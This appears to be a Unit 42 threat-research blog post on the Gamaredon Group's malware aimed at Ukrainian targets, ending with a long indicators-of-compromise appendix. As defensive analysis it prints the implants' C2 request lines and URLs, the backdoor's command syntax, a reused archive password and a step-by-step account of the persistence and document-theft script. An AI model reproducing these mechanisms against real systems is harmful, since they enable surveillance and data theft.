The Gamaredon Group Toolset Evolution

Unit 42 threat researchers have recently observed a threat group distributing new, custom developed malware. We have labelled this threat group the Gamaredon Group and our research shows that the Gamaredon Group has been active since at least 2013.

In the past, the Gamaredon Group has relied heavily on off-the-shelf tools. Our new research shows the Gamaredon Group have made a shift to custom-developed malware. We believe this shift indicates the Gamaredon Group have improved their technical capabilities. The custom-developed malware is fully featured an includes these capabilities:

  • A mechanism for downloading and executing additional payloads of their choice
  • The ability to scan system drives for specific file types
  • The ability to capture screenshots
  • The ability to remotely execute commands on the system in the user’s security context

The Gamaredon Group primarily makes use of compromised domains, dynamic DNS providers, Russian and Ukrainian country code top-level domains (ccTLDs), and Russian hosting providers to distribute their custom-built malware.

Antimalware technologies have a poor record of detecting the malware this group has developed. We believe this is likely due to the modular nature of the malware, the malware’s heavy use of batch scripts, and the abuse of legitimate applications and tools (such as wget) for malicious purposes.

Previously, LookingGlass reported on a campaign they named "Operation Armageddon," targeting individuals involved in the Ukrainian military and national security establishment. Because we believe this group is behind that campaign, we’ve named them the Gamaredon Group, an anagram of “Armageddon”. At this time, it is unknown if the new payloads this group is distributing is a continuation of Operation Armageddon or a new campaign.

Gamaredon: Historical Tool Analysis

The earliest discovered sample (based on compile times and sandbox submission times) distributed by this threat group resembles the descriptions of Gamaredon provided by Symantec and Trend Micro. Unfortunately, this identification is rather tenuous, as it seems to only identify the first variant of payloads used by our threat actors. Some samples of later payload variants also have been given the generic and brittle names of TROJ_RESETTER.BB and TROJ_FRAUDROP.EX.

Originally, the payloads delivered to targets by this threat group consisted of a password protected Self-extracting Zip-archive (.SFX) file which, when extracted, wrote a batch script to disk and installed a legitimate remote administration tool called tool Remote Manipulator System (Figure 1) which they would abuse for malicious purposes.

gamaredon_1

Figure 1 Remote Manipulator System Interface

One such self-extracting archive (ca87eb1a21c6d4ffd782b225b178ba65463f73de6f4c736eb135be5864f556dc) was first observed around April of 2014.  The password (reused by many of the password protected SFX payloads) it used to extract itself is “1234567890__”. The files included in this SFX file we observed include a batch file named “123.cmd” and another SFX named “setting.exe”. This second SFX contains a .MSI installer package which installs Remote Manipulator System and a batch script which handles the installation.

Later payloads would write batch scripts to disk as well as wget binaries. The batch scripts would use the wget binaries to download and execute additional executables. The scripts would also use wget to send POST requests to command and control (C2) servers that would contain information about the compromised system. Some of these payloads included decoy documents that would open when the malware is executed.

Three examples of this type of payload include:

  • a6a44ee854c846f31d15b0ca2d6001fb0bdddc85f17e2e56abb2fa9373e8cfe7
  • b5199a302f053e5e9cb7e82cc1e502b5edbf04699c2839acb514592f2eeabb13
  • 3ef3a06605b462ea31b821eb76b1ea0fdf664e17d010c1d5e57284632f339d4b

We first observed these samples using wget in 2014. The filenames and decoy documents these samples used attempt to lure individuals by using the presidential administration of Ukraine, Ukrainian national security and defense, the Anti-Terrorist Operation Zone in the Ukraine, and Ukrainian patriotism as subjects. The text of one such decoy document is pictured below.

gamaredon_2

Figure 2 Ukrainian Decoy Document used by Gamaredon Group

Other observed payloads would, again, use SFX files to deliver a batch script and an executable that allowed remote access through the VNC protocol. These VNC exectuables would either be included in the SFX file or downloaded by the batch script. We found one URL (now taken down) that hosted a VNC executable that the malware would attempt to download and install at hxxp://prestigeclub.frantov.com[.]ua/press-center/press/chrome-xvnc-v5517.exe.

The batch script would then attempt to have the VNC program connect to a command and control (C2) server to enable the server to control the compromised system. All VNC installations on compromised systems that we observed have used the same configuration file, RC4 key file, and passwords.

One such sample, cfb8216be1a50aa3d425072942ff70f92102d4f4b155ab2cf1e7059244b99d31 first appeared around January of 2015. The batch script utilized in this sample ensures a VNC connection is available:

The path configured in the VNC configuration file across all implants employing VNC (UltraVNC.ini) is “Y:\ПРОБА\Создание троянов\создание RMS\vnc”. This isn’t the only place hardcoded Cyrillic file paths are used by implants. Many of the batch scripts also use hardcoded paths such as “Главное меню\Программы\Автозагрузка”. Many payloads also include a VBS script which raises a dialog box to the users asking them to run the malware again. It reads, “Ошибка при инициализации приложения (0xc0000005). Повторить попытку открытия файла?” (English Translation from Russian: Application failed to initialize (0xc0000005). Try to open the file again?).

Some of the SFX files also include another legitimate application called ChkFlsh.exe (8c9d690e765c7656152ad980edd2200b81d2afceef882ed81287fe212249f845). This application was written by a Ukrainian programmer and is used to check performance of USB flash drives. Its value to the attackers to the attackers isn’t clear but one possibility is that it is somehow used to steal or monitor files on USB devices. In our research, we found this application present in some SFX files along with VNC programs and in some SFX files that didn’t have VNC programs included.

Custom Implants

While the most recent samples observed still use batch scripts and SFX files, the Gamaredon Group has moved away from applications like wget, Remote Manipulator Tool, VNC and ChkFlsh.exe. Instead of using wget the attackers are distributing custom developed downloaders, and instead of Remote Manipulator or VNC the malware is using a custom developed remote access implant.

In June of 2015 a custom downloader used by many newer samples was first seen in the wild and is often included in SFX implants with the name “LocalSMS.dll”. This downloader makes requests to adobe.update-service[.]net (hardcoded in the sample) and is further discussed in Appendix A.

In February 2016, another custom tool now often included in SFX implants was seen in the wild. This SFX file (3773ddd462b01f9272656f3150f2c3de19e77199cf5fac1f44287d11593614f9) contains a new Trojan (598c55b89e819b23eac34547ad02e5cd59e1b8fcb23b5063a251d8e8fae8b824) we refer to as “Pteranodon.” Pteranodon is a custom backdoor which is capable of the following tasks:

  • Capturing screenshots at a configurable interval and uploading them to the attacker
  • Downloading and executing additional files
  • Executing arbitrary commands on the system

The earliest version of Pteranodon uses a hardcoded URL for command and control. It sends POST requests to “msrestore[.]ru/post.php” using a static multipart boundary:

------------870978B0uNd4Ry_$

Newer versions of the tool also use hardcoded domains and multipart boundaries. They also share similar pdb strings. Other Pteranodon samples can be found in AutoFocus using the Pteranodon tag. The most recent variant of Pteranodon is analyzed in Appendix A.

We have only identified one delivery vector for the new implants thus far. A Javascript file (f2355a66af99db5f856ebfcfeb2b9e67e5e83fff9b04cdc09ac0fabb4af556bd) first seen in December of 2016 downloads a resource from http://samotsvety.com[.]ua/files/index.pht (likely a compromised site used for staging payloads) which previously an SFX file (b2fb7d2977f42698ea92d1576fdd4da7ad7bb34f52a63e4066f158a4b1ffb875) containing two of the Gamaredon custom tools.

A related sample (e24715900aa5c9de807b0c8f6ba8015683af26c42c66f94bee38e50a34e034c4) used the same distinct Mutex and contains a larger set of tools for analysis. The original name of the file is "AdapterTroubleshooter.exe" and the file uses icons which resemble those used by OpenVPN, as seen below.

gamaredon_3

Upon examining the sample's file activity within AutoFocus it is clear the sample is a self-extracting executable.

gamaredon_4

Figure 3 Self Extracting executable behavior shown in AutoFocus

Opening the sample with 7zip inside of a virtual machine, all the files contents can be examined. Below is a table providing the SHA256 values, the filenames, the compile timestamps and the pdb paths of the contents of the SFX file.

SHA256 Filename Compile Time PDB Path
400f53a89d08d47f608e1288d9873bf8d421fc7cd642c5e821674f38e07a1501 LocalSMS.dll Wed Apr 29 08:10:30 2015 c:\users\viber\documents\visual studio 2013\projects\contextmenu\release\contextmenu.pdb
d01df47b6187631c9a93bdad1298439ab1a1c5529b3319f3614b6ec2455e5726 MpClients.dll Thu Sep 08 05:01:00 2016 c:\users\user\documents\visual studio 2015\projects\updaterv1\release\updaterv1.pdb
f2296bcb6be68dfb330baec2091fb11a42a51928ba057164213580e6ff0e1126 OfficeUpdate.dll Wed Dec 07 09:25:57 2016 -
2ded2f3b5b5b6155ce818893c67887cbfa8b539be6c983e314ccf2177552da20 SmartArtGraphicsLog.lnk - -
46a39da996b01e26ddd71d51c9704de2aa641cd3443f6fe0e5c485f1cd9fa65d UsrClass.lnk - -
a972ad0ddc00d5c04d9fe26f1748e12008efdd6524c9d2ea4e6c2d3e42d82b7b condirs.cmd - -
37c78ee7826d63bb9219de594ed6693f18da5db60e3cbc86795bd10b296f12ac winrestore.dll Mon Jan 09 03:12:39 2017 c:\develop\ready\winrestore - proxy\release\winrestore.pdb
90ba0f95896736b799f8651ef0600d4fa85c6c3e056e54eab5bb216327912edd wmphost.exe Thu Dec 01 08:23:32 2016 c:\develop\ready\mouse-move\mouse-move\release\mouse-move.pdb

The bootstrapping logic for the sample relies on the contents of "condirs.cmd". Briefly, the logic within "condirs.cmd" follows:

1. Ensure "%LOCALAPPDATA%\Microsoft\Windows\" exists
2. Kill and delete processes, files, and scheduled tasks which may interfere with the sample executing
3. Copy "winrestore.dll" to "%LOCALAPPDATA%\Microsoft\Windows\UsrClass.dat{4f6fe187-7034-11de-b675-001d09fa5win}.dll"
4. Copy "OfficeUpdate.dll" to "%LOCALAPPDATA%\Microsoft\Windows\UsrClass.dat{4f6fe187-7034-11de-b675-001d09fa5off}.dll"
5. Determine if the operating system is Windows XP or Windows 7
6. If the system is running Windows XP

a. Set the directory to copy files into as "%WINDIR%\Setup\State\Office"
b. Copy "UsrClass.lnk" to "%USERPROFILE%\Главное меню\Программы\Автозагрузка\"
c. Copy "SmartArtGraphicsLog.lnk" to "%USERPROFILE%\Главное меню\Программы\Автозагрузка\"

7. If the system is running Windows 7

a. Set the directory to copy files into as "%APPDATA%\Microsoft\Office"
b. Copy "UsrClass.lnk" to "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\"
c. Copy "SmartArtGraphicsLog.lnk" to "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\"

gamaredon_6

Figure 4 Windows XP and Windows 7 logic within "condirs.cmd"

8. Copy "winrestore.dll" to the directory set in step 6 or 7a with the filename "MSO1234.win"

9. copy "LocalSMS.dll" to the directory set in step 6 or 7a with the filename "MSO1567.dls"

10. copy "OfficeUpdate.dll" to the directory set in step 6 or 7a with the filename "MSO5678.usb"

11. copy "MpClients.dll" to the directory set in step 6 or 7a with the filename "MSO8734.obn"

12. Execute the exported function "updater" within "MSO1234.win" using rundll32.exe

13. Execute the exported function "EntryPoint" within "MSO1567.dls" using rundll32.exe

It should be noted that "UsrClass.lnk" links to "%WINDIR%\system32\rundll32.exe UsrClass.dat{4f6fe187-7034-11de-b675-001d09fa5win}.dll,updater" and "SmartArtGraphicsLog.lnk" links to "C:\WINDOWS\system32\rundll32.exe UsrClass.dat{4f6fe187-7034-11de-b675-001d09fa5off}.dll,StartBackup". These are the locations "winrestore.dll" and "OfficeUpdate.dll" were copied to in steps 3 and 4, respectively.

The "condirs.cmd" script then continues to:

1. Schedule the following tasks:

a. Task name "UpdatesWinRes", invoke "MSO1234.win,updater"
b. Task name "UpdatesWinDLL", invoke "MSO1567.dls,EntryPoint"
c. Task name "UpdatesWinUSBOOK", invoke "MSO5678.usb,StartBackup"
d. Task name "UpdatesWinOBN", invoke "MSO8734.obn,bitDefender"

2. Ensure the directory "%Temp%\reports\ProfileSkype\" exists

3. Kill processes named "skype.exe"

4. Copy the contents of "%AppData%\Skype" to "%Temp%\reports\ProfileSkype\"

5. Create subdirectories under "%Temp%\reports\%COMPUTERNAME\" with names: Z W P S V Q N M L K I J F H E G and D. These are drive letters.

6. Copy all files from all above drive letters with extensions "doc", "docx",  "xls",  "xlsx", "rtf" "odt" and "txt" into "%TEMP%\reports\%COMPUTERNAME%\%%d\" where %%d is the drive letter

7. Copy all files with the above extensions from all users' "Desktop", "Documents", and "Downloads" folders to "%TEMP%\reports\%COMPUTERNAME%\Desktop\", "%TEMP%\reports\%COMPUTERNAME%\Documents\" and "%TEMP%\reports\%COMPUTERNAME%\Downloads\" respectively

gamaredon_7

Figure 5 The document stealing logic inside "condirs.cmd"

8. Execute the exported function "StartBackup" within "MSO5678.usb" using rundll32.exe

9. Execute the exported function "bitDefender" within "MSO8734.obn" using rundll32.exe

10. Clean up temporary files, sleep, and delete itself

When this script has completed, a series of implants giving the attacker the ability to steal files, capture screenshots and evade detection are deployed on the system. These individual implants are analyzed in detail in Appendix A.

Trends Across Implants

While the payloads used to control compromised systems have evolved over time, many commonalities appear across the samples. While not every sample distributed by this group is described in this blog, hashes of the known samples are included in the Indicators of Compromise section. Some interesting behaviors from a few of the related samples include:

  • Many of the batch scripts include misspellings of common English words. One such example is the filename "cmd". While another example, "domen", is used as a variable name in a batch script which is likely meant to be "domain"
  • Almost all batch scripts in all samples ping localhost as a means of sleeping
  • Many of the batch scripts are named "cmd" and some include the string "Trons_ups" and "Treams"
  • Many of the batch scripts use the same commands for determining operating system version.
  • Many of the early samples used applications such as wget, UltraVNC, and ChkFlash. These utilities have been replaced with custom tools in the latest sample
  • Samples employing VNC used the same configuration and passwords

Additionally, the infrastructure used by this group has not changed much in the past three years. Many of the samples reused the same domains for implant communication. Also, many of the custom developed tools use hardcoded network locations.

Monikers used for filenames, exported DLL functions, domains, and variable names in scripts seem to be themed and consistent. By pivoting on indicators from one of the SFX implants within AutoFocus additional samples are easily identified by overlaps in these consistencies. Most samples were delivered in a similar fashion: an SFX dropping resources which are staged and loaded with a batch and/or VBS script. The reuse of SSL certificates between IPv4 addresses as well as the reuse of IPv4 addresses between domains names is apparent when viewing a large collection of entities involved in this campaign, as shown below.

gamaredon_8

Focusing in on one of the newest samples (analyzed in Appendix A), the reuse of file names as well as SFX content files becomes apparent.

gamaredon_9

Figure 6 Overview of the relationships between Samples and Network Infrastructure used by the Gamaredon Group

Final Word

The implants identified have limited, generic, and often conflicting detections on VirusTotal. The threat group using these implants has been active since at least 2014 and has been seen targeting individuals likely involved in the Ukrainian government. Some of the samples share delivery mechanisms and infrastructure with samples which are detected by a few antivirus vendors as Gamaredon. However, newer variants deliver more advanced malware which goes unnamed.

Periodically, researchers at Palo Alto Networks hunt through WildFire execution reports, using AutoFocus, to identify untagged samples' artifacts in the hopes of identifying previously undiscovered malware families, behaviors, and campaigns.

This blog presents a threat group identified by the above process using AutoFocus. By actively hunting for malicious activity and files instead of waiting for alerts to triage, defenders can identify and building protections for new trends before they arrive on their corporate networks and endpoints. More details about this threat group can be found in the AutoFocus tag GamaredonGroup.

Palo Alto Networks customers are protected from this threat in the following ways:

  • WildFire identifies the malware described in this report as malicious.
  • Traps prevents execution of the malware described in this report.
  • The C2 domains used by this group are blocked through Threat Prevention.

Special thanks go out to Tom Lancaster for both his assistance in this investigation and for his charming good looks.

Appendix A: Custom Implant Analyses

USBStealer: MSO5678.usb / OfficeUpdate.dll

This file is a USB file stealer which can be also guessed by its internal name "USBgrabber.dll". However, the implementation is sloppy which makes it a file stealer for any newly connected logical volume on a system. This is because the malware monitors the computer for messages WM_COMMAND and WM_DEVICECHANGE, but not verifying if a USB drive was connected.

The malware creates two mutexes "__Wsnusb73__" and "__Wsnusbtt73__". Then, it creates the following folder in the temp path of the local user:

"C:\Users\<Username>\AppData\Local\Temp\reports"

This folder is used as a temporary location to copy all files from a newly connected logical drive to and upload them to the C2 server. The files are transferred to the hardcoded C2 server "195.62.52.93" one by one via HTTP POST method. The following request is used which also includes information about the victim, the file to be transferred as well as the source drive:

The malware also creates a SQLite database named "asha.dat" in the local users temp folder. Therein, it keeps track of files which were stolen by calculating the MD5 hash of the filename followed by the file length. Therefore, it creates a Unicode string of the original file path from the drive and concatenates the file size in bytes to it. Finally, it uses the API functions MD5Init(), MD5Update() and MD5Final() to calculate the hash and store it in the database.

gamaredon_10

Figure 7 Structure of the database created by the malware

It should be noted, that only hashes of files are added to the database that don't have the following extensions:

  • DLL
  • BIN
  • CAB
  • EXE
  • ISO

Downloader: MSO1567.dls / LocalSMS.dll

This file is essentially a simple downloader which contacts the C2 server to send some user data and get an executable as response which will be executed. The DLL is written in C++ and contains all of the functionality is in an export function named "EntryPoint". The file was compiled without any compiler or linker optimizations, thus the big file size and the remaining PDB path string.

At first, the malware retrieves the temp path of the local user ("C:\Users\<Username>\AppData\Local\Temp\"), the computer name (e.g. "WIN-MLABCSUOVJB"), the hardware profile GUID (e.g. "{826ee360-7139-11de-8d20-808e6f6e6263}") and the volume serial number of C:\ drive (e.g. "1956047236"). Next, it takes the following hardcoded string:

http://adobe.update-service[.]net/index.php?comp=

To create a URL string with the victims information for contacting the C2 server:

  • http://adobe.update-service[.]net/index.php?comp=WIN-MLABCSUOVJB&id=WIN-MLABCSUOVJB_{826ee360-7139-11de-8d20-808e6f6e6263}1956047236

To create the filename where the downloaded file will be saved, the malware tries to build a random string of 10 characters. However, due to an implementation error the string always ends up being the same, namely "frAQBc8Wsa". This string gets concatenated with the retrieved local users temp path to the following file path:

  • C:\Users\<Username>\AppData\Local\Temp\frAQBc8Wsa

Then, it uses the API function URLDownloadToFileA() to download a payload to disk and executes it via CreateProcess(). Finally, it sleeps for 60 seconds before terminating the payload and the DLL exits.

Downloader: MSO8734.obn / MpClients.dll

This file is a slightly more advanced version of LocalSMS.dll downloader. Instead of downloading a payload directly to disk, this file requests a download command from the C2 server which contains the actual payload URL to be used. Therefore, it uses a basic network implementation based on the Winsock functions. All the functionality of this DLL is put into an export function named "bitDefender".

It creates a socket, requests the address of the hardcoded C2 server "win-restore.ru" via gethostbyname() and connects to it. Thereafter, it also collects the volume serial number of C:\ drive, the computer name and the hardware profile GUID. With this information, it creates the following string used by a subsequent send() function call:

"GET /css.php?id=WIN-MLABCSUOVJB_{826ee360-7139-11de-8d20-808e6f6e6263}1956047236 HTTP/1.1
Host: win-restore.ru
Connection: close"

The response will be stored into a memory buffer via recv() and scanned for the string "urltoload={". As the name suggests, the received data contains the actual URL of the payload inside curly brackets. The URL gets pulled out of the string and is used again as input for the API function URLDownloadToFile(). Again, the same file path will be used to store the payload on disk and execute it:
"C:\Users\<Username>\AppData\Local\Temp\frAQBc8Wsa"

Pteranodon: MSO1234.win / winrestore.dll

Pteranodon is a backdoor which also can capture screenshots based on a configuration file created on the disk. Further, it uploads the screenshots to the C2 server unencrypted. All the functionality of this DLL is put into an export function named "updater".

At first, it retrieves the %APPDATA% folder of the local user to build the following file path:

"C:\Users\<Username>\AppData\Roaming\Microsoft\desktop.ini"

Then, it checks if the file already exists and continues execution if so. If not, it runs a routine which checks if there is mouse movement as an anti-sandbox technique. If no mouse movement is detected the malware runs in an infinite loop checking for mouse movement.

If the file "desktop.ini" does not exist, the malware creates it and writes the following information into it:

" interval={60} msfolder={10} status={0}"

This information is used as configuration data to create the screenshots. There are also other commands possible which can be retrieved from the C2 server. The following commands are available:

exec={

This command is used to download and execute a payload from a URL present in the curly brackets. It creates a random file path in temp folder, calls URLDownloadToFile() and CreateProcess() to run the payload. Then, it waits 30s and terminates the payload.

interval={

This command is used to define the interval in seconds between the creation of two or more screenshots.

msfolder={

This command defines the number of screenshots to create.

command={ / command_c={

This command is used to execute a file present as a string between the curly brackets. The variant with the "c" uses the Windows tool cmd.exe with help of ShellExecute().

status={

This command contains the flag which defines if screenshots should be made ("1") or not ("0").

Next, it checks for a mutex named "asassin1dj" to verify if the system is already infected and creates it if this isn't the case:

gamaredon_11

Figure 8 Mutex check and creation routine

Next, it creates the following folder, if not already present:

"C:\Users\<Username>\AppData\Roaming\Microsoft\store"

Next, according to the configuration data in "desktop.ini" it constantly creates 24-bit color depth JPEG screenshots without extension in the store folder with help of GDI32 and gdiplus API functions. The following file naming scheme for the screenshots is used:

<year><month><day>_<hour><minute><seconds>

After the last screenshot was created, it uploads all files from the "store" folder to the C2 server "win-restore[.]ru". Then, it deletes all the files present in the folder and starts a new screenshot creation cycle. It should be noted that there is no check of what files are uploaded. The files are uploaded via POST HTTP method to the script "vvd.php". For this, the following HTTP request is used which contains also data from the victim as well the JPEG files:

Finally, it checks if any new command information is available from the C2 server and updates the "desktop.ini" file according to it. Based on functionality, compile timestamps, and binary differencing this malware is likely an updated version of 598c55b89e819b23eac34547ad02e5cd59e1b8fcb23b5063a251d8e8fae8b824.

wmphost.exe

This file runs an infinite loop until mouse movement gets detected, then it exits. This file can be used to circumvent sandboxes that don't simulate mouse movement. To detect if it's running inside a sandbox, another file can scan the list of running processes to see if "wmphost.exe" is present or not.

Appendix B: Indicators of Compromise

Domain Names

admin-ru[.]ru
adobe.update-service[.]net
apploadapp.webhop[.]me
brokbridge[.]com
cat.gotdns[.]ch
check-update[.]ru
childrights.in[.]ua
conhost.myftp[.]org
docdownload.ddns[.]net
downloads.email-attachments[.]ru
downloads.file-attachments[.]ru
dyndownload.serveirc[.]com
e.muravej[.]ua
email-attachments[.]ru
file-attachments[.]ru
freefiles.myftp[.]biz
getmyfile.webhop[.]me
googlefiles.serveftp[.]com
grom56.ddns[.]net
grom90.ddns[.]net
hrome-update[.]ru
hrome-updater[.]ru
loaderskypetm.webhop[.]me
loadsoulip.serveftp[.]com
mail.file-attachments[.]ru
mails.redirectme[.]net
mars-ru[.]ru
msrestore[.]ru
oficialsite.webhop[.]me
parkingdoma.webhop[.]me
poligjong.webhop[.]me
polistar.ddns[.]net
proxy-spread[.]ru
rms.admin-ru[.]ru
samotsvety.com[.]ua
skypeemocache[.]ru
skypeupdate[.]ru
spbpool.ddns[.]net
spread-service[.]ru
spread-ss[.]ru
spread-updates[.]ru
stor.tainfo.com[.]ua
tortilla.sytes[.]net
ukrnet.serveftp[.]com
ukrway.galaktion[.]ru
umachka[.]ua
update-service[.]net
updatesp.ddns[.]net
updateviber.sytes[.]net
webclidie.webhop[.]me
win-restore[.]ru
winloaded.sytes[.]net
winupdateloader[.]ru
www.file-attachments[.]ru
www.win-restore[.]ru
yfperoliz.webhop[.]me

URLs:

http://childrights.in[.]ua/public/manager/img/scrdll.ini
http://prestigeclub.frantov[.]com.ua/press-center/press/chrome-xvnc-v5517.exe
http://umachka[.]ua/screen/dk.tmp
http://umachka[.]ua/screen/screen.tmp
http://viberload.ddns[.]net/viber.nls

Hashes:

Samples using custom developed tools:

002aff376ec452ec35ae2930dfbb51bd40229c258611d19b86863c3b0d156705
08e69f21c3c60a4a9b78f580c3a55d4cfb74729705b5b7d01c1aecfd58fc49e6
0c47cf984afe87a14d0d4c94557864ed19b4cb52783e49ce96ebf9c2f8b52d27
0dc1010c3d3766158e2347d10fc78d9223c6e0e3a44aa8a76622aeff7d429ab9
0f745512940e0efd8f09c6d862571cba2b98fac9a9f7cf30dedcc08ace43a494
145dab86a43835bb37734c16756d6d64d8e5ac6b87c491c57385e27b564136b8
222e85e6d07bdc3a2141cdd582d3f2ed4b1ce5285731cc3f54e6202a13737f8d
2f2b26f2f7d164ea1f529edbc3cb8a1063b39121dad4dd19d8ee4bbbaf25ed37
3242183b1f0176a2e3cfb6bfef96b9d55c5a59ea9614dbde4ef89979336b5a5d
3773ddd462b01f9272656f3150f2c3de19e77199cf5fac1f44287d11593614f9
37c78ee7826d63bb9219de594ed6693f18da5db60e3cbc86795bd10b296f12ac
3e5b1116b2dfd99652a001968a05fc962974931a0596153ab0dea8e4a9982f89
400f53a89d08d47f608e1288d9873bf8d421fc7cd642c5e821674f38e07a1501
598c55b89e819b23eac34547ad02e5cd59e1b8fcb23b5063a251d8e8fae8b824
5b22ace98b57ed19d815c49983c96a3c6ff0b2701e8167d4422c6990982abcf9
5ec8b7ca4461720bd69fb49b3f6cae637d8ac3bbd675da938bc5a84e9b73b395
840b3d4cc95dbf311f792a9f50137056deb66bfdbb55eb9f54ff381a0df65656
90ba0f95896736b799f8651ef0600d4fa85c6c3e056e54eab5bb216327912edd
97ebd7bfad63b36b4572132f6ece359ff9991f269048c0b145411699bfe3dc34
9a1fd88970da3809f45cef00360d1e54ea11a70035c277c130404a67371e142d
9cb64d3242d2b591bd2ff13b1aadef2e6b4bf9147f4a0926613b7c9343feb312
a46508ec9e48c256261b2d1914532a36ac7da093253320135d77581051751b75
a7e27ff0695a4bdf58c584f48664acd3a385ccebf3a542fdd6d7383f414aa83a
a804beddd22bb76ea207a9607ed5c888f2f640cbd9ed9a32942fcd0b8a25c4d5
ae5ab2e887a9b46ea7819b7ebbb8163028e66882c97e75b0698dc3a69a69d7da
b2fb7d2977f42698ea92d1576fdd4da7ad7bb34f52a63e4066f158a4b1ffb875
b9434e5a14159c49af2d1a5a11d570f195797d6b17aa560c3dde4a5b3486bf2a
be2be662cc821a924d5641422dd1116e99188c6923da092ca3f0f8f862bd2d2d
d01df47b6187631c9a93bdad1298439ab1a1c5529b3319f3614b6ec2455e5726
d1ba365e93ff0a4f3a2cb1d657568e583e3fbd7dbb1c2c52e28f16480324e3bb
ddfc6bb4819527b2424d6e1a84f04b67adad79401e39efbffba5b7d727e732f0
df434f54802a6814628f30cae335c302bae7085c4e8314d71a41a47d9c410c39
e24715900aa5c9de807b0c8f6ba8015683af26c42c66f94bee38e50a34e034c4
f2296bcb6be68dfb330baec2091fb11a42a51928ba057164213580e6ff0e1126 

Samples using bundled commodity tools:

026be8a873560f1496c6961f6e36c312bdda01beacb17c4b744f35ee1923d061
03c943f5cba11b09b9c3afa0705d4a027e5a9d81b299711740cc5aedfe4b4aa1
03e5e99cc8280de4663c4b65bfd26782d4975258808a63a4b20bc068008df7f5
059e40ba91b2b2d827c200476fcbd0fad0d43ab198d0c206c996777d27e6de65
0669e61e51cf43daa431d52b5461c90bdce1b1bee03b087e4406c30264dcb9a4
068b9a9194efacc16cf142814e79b7041b6ab3d671a95bb508dbd30061c324aa
0b4a90b823a581311c4acb59f35e32f81f70ca16a2538f54f4dbe03db93350df
0b5316d723d1ebbec9aba0c9ff6761050305d644c3eeb5291b4e2c4de9e5fa15
0b8d59312699739b6e6cb7aeb0f22a2eaebbb0fd898a97ef9b83e8d8e9ce67a0
0dd13d2d0edbcf9d1825c2bfc165876ada2e4d04e2981a0003cb6503fad2287b
0ddb7867e31f3f30cd1cfe74393f8ac5bbdc61538278de9219a49345f0d3af7f
13fed3accac4f38f28e606b110a3b7924d9c7a1a911f8c0613d0bb791e715267
151cf4c83722ba171ae42640e5e13af67ca06ee0a06a74afa53931acf6ac1506
17006d77cc1459aa3d70e4e9377edb2547a7446647aa9872c9dd9ad860ed7e39
1ec7e595677038145991c6d84dc7808602142f258c1f90e9486cca0fe531d74f
208dc592111a8221a9c633efc120b890585f9a67ed340cbb5ec9db4cd5e164e4
2124adbee89f2c1cb65896bed26e7ffa8bf0fcbdfeb99a9e751fea9cca7a896b
22e97292671ada8deef4329eb115c52f6f1bc598bcf01a3961f1c35a2230a013
259a78122ef51ae503059143bf36941fc6090be83213d196ba3051ba36a0b2a1
26564c23530dd14e0042e074f4178a5b2ad6fc8f51f10138fc39941a6303bff9
29453fa1772b6d7d33842d6abbe0cb55c4a4b66a00f43284c8724d7c16749a7d
2a072d9ce63a94d2530cf9f18a232c6a09f6c7bdff9dbe27faceef53604145ea
2c02d3d3fadd76f9d21f5c093459ddc0045c94f17679269eb7a2990a1a88cb42
2d55000bb5cb9e3e1f137810c2e1eb899f68c40e4a6f6307f226c7b8af208abd
2ded2f3b5b5b6155ce818893c67887cbfa8b539be6c983e314ccf2177552da20
2e89436b355550ceb361fac1b03b78b71eda11d25f26223ac5c8c34ed8972a05
32b0e6394b110860371da5541946a6dcc85358a3951eddc86fdaf5794527c150
33934fcfae5760316b3f40e013cbb03d8086f8c30f9a4ba9bed3f9486a530796
34d86602882e86f8aaaeb7513126c8579a4489f2be31c279188e2f2ca8a0e141
390162dae62a0347e35cf5dad093cfc2f7d4ded62fba9d2df7af6133feb41ee0
3ef8602579c6b145fbaafc8970b4c9a6e7bebd11eb5e37eecaa67b4572c6038b
420acd7e8598fe994b59bf5d30f89e1c11b36cbef464a4786694cf9eada8dd4c
42b4c39179f76ea9eb5835b55a3cf4d8dbb29d42ee0622ad2e89ca48d01e8988
42eed03907c9dfa0e566fbe5968cdb5a1b7b5e18521f7327185ed2208c6c29b4
46a39da996b01e26ddd71d51c9704de2aa641cd3443f6fe0e5c485f1cd9fa65d
47d929c69bfd8d8efb9c280eabec2f73d4bddf1c3c30120c3fb6334623469888
505ef8cbc1271ce32f0c473468d75a1aba5073c37b2e6b49293ddc9efcb4ac96
5230453eeb98c5a183129ed8b918b429e96020887302ba30941c408108a1ab84
5363220b532d7da378b338e839a501ae5c006cc03c8b2d3627c480d64deb1221
558f33d478091993e5b5921604f8c3873efc87f551fddf61612b5c64d5b610f6
55c76f4f93f9e155fbb6a28447f97c1ccda0081061dc3cb9973d42c1686964b7
56c8246819f7de5cba91001793831441d4ce998ccb8237cb96c9f52e88ea384b
59bddb5ccdc1c37c838c8a3d96a865a28c75b5807415fd931eaff0af931d1820
5ac627f8964d3b9cad69f21e3b8f27305f1f68f49e4f4fae2c73949a04b32692
5ccc76ae1cdf668ba7f89c6cbd0bad44f148cbee736320ead237262ba170ffba
5cd4401c1dae9b9ecd75c96ab29dc64ce40bef3acc6faf7c001ff98ebd3b3413
5cd72eaf555813f1ee187def594584f5cfc6a5e83086f35e281327b5210adffb
5f8293eda9fb40684caddf576eba6c81f3a06911ca9e4ecf84ede3b2891cff5e
6c258151c593268c13c252d8f275192a6f7a74d5de5754f2cf20fb94be7ee6ea
0458e168baa4fa5942892065925ac82b12245551b539d54c2884b3a21c2699d8
877f1de209eb9d8b2a20a76f8773d12e5a1fcde4148868c7b73added392f62f6
29c728a169c5d18298e77db161dd5d2f6396ceca9ee7849b63ff8a8bc11f911e
98e092b7bfc3bbdaeb82e05de14ba5835c6ac626c17de9eef2049796a031dd10
27e08fb90ada2fd8ce6b6149786edd3b814dd0324257ebd919ed66ada0334b21
9f651ae6ea538238748614a7f86fe2b0f76e881d6c38da581f284e4b6f79b0ca
f47115ea58615781e56dcac673c19edf7ce00defd7ada709ae97b0708d3eac1e
b80719854f8744ba62e9f0e774c09e2e2ed79dd37f9f94ba3ed05ec8507d55e6
467f04914a1e6093bdaf5c28884bf95ec738234033b3292d289a0799de196d49
5c47d18b3f0e0274c6a66b2eab27d47c73a0105c263d41c6473aba9a28d0a4ba
01c5729ac1ae3928053c085fd616323a3715863ab3d7e9b8106c09e24df34183
5b6a691cf8faf238b27861941a1b667d889889cc9711a3e561403d6a6ed292c9
e2688f72cc7ae836be19e765e39318873554ee194a09945eb3f3805d04f256ca
9f0228e3d1577ffb2533584c2b1d87ebee0c0d490f981e61d18bb27ab02e52cb
